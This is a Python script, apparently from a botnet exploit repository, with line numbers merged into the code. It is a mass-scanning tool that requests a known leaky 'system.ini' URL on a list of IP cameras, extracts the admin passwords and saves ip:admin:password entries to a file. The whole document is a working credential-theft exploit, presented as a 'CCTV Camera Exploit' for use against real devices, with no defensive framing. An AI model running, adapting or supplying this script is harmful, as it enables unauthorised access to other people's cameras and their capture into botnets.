Path: blob/master/Botnets/Exploits/IPCAM FULL/py3_ipcam_exploit.py
5038 views
import urllib.request, threading, socket, time, sys1if len(sys.argv) != 2:2print("Correct useage: python " + sys.argv[0].split("\\").pop() + " <thread count> ")3sys.exit()45lock, finalprintout, timeout, creds, threads, threadcount, leak, total = threading.Lock(), "", 5, [], [], int(sys.argv[1]), "http://TARGET/system.ini?loginuse&loginpas", 067# Open output.txt8list = open("output.txt", "r")9scan = list.read()10list.close()1112scan = scan.split("\n")13while "\n" in scan:14scan.remove("\n")15pretotal = len(scan)16def dumpcreds():17global finalprintout18global total19global scan20while len(scan) > 0:21try:22with lock:23ip = scan.pop()24with urllib.request.urlopen(leak.replace("TARGET", ip), None, timeout) as response:25reply = str(response.read())26if reply.find("admin") != -1:27reply = reply[reply.find("admin"):]28while reply.find("\\x00") != -1:29reply = reply.replace("\\x00", "")30password = reply[5:reply.find("\\")]31if password.find("/") != -1:32password = password[:password.find("/")]33print("\x1b[0;37m[\x1b[0;35m*\x1b[0;37m] |\x1b[0;35mFound\x1b[0;37m| admin:" + password + "@" + ip)34with lock:35finalprintout += ip + ":admin:" + password + "\n"36total += 137except:38pass3940print(" \x1b[1;37m[\x1b[1;35m+\x1b[1;37m] \x1b[1;35mCCTV Camera Exploit \x1b[1;37m[\x1b[1;35m+\x1b[1;37m]\x1b[0m")41print(" \x1b[1;37m[\x1b[1;31m*\x1b[1;37m] \x1b[1;36mCredits go to ★Cam★ \x1b[1;37m[\x1b[1;31m*\x1b[1;37m]")42time.sleep(6)43print(" \x1b[1;35mDumping Credentials, please wait")44time.sleep(4)4546for i in range(0, threadcount+1):47threads.append(threading.Thread(target=dumpcreds))4849for thread in threads:50try:51thread.daemon = True52thread.start()53except:54pass5556for thread in threads:57try:58thread.join()59except:60pass6162while 1:63time.sleep(1)64done = False65for thread in threads:66if thread.isAlive() == True:67done = False68break69else:70done = True71if done == True:72writingit = open("vuln.txt", "w")73writingit.write(finalprintout)74writingit.close()75print(str(total) + " of out " + str(pretotal) + " credentials dumped, " + str(int(100 / pretotal * total)) + "% success rate. ")76break7778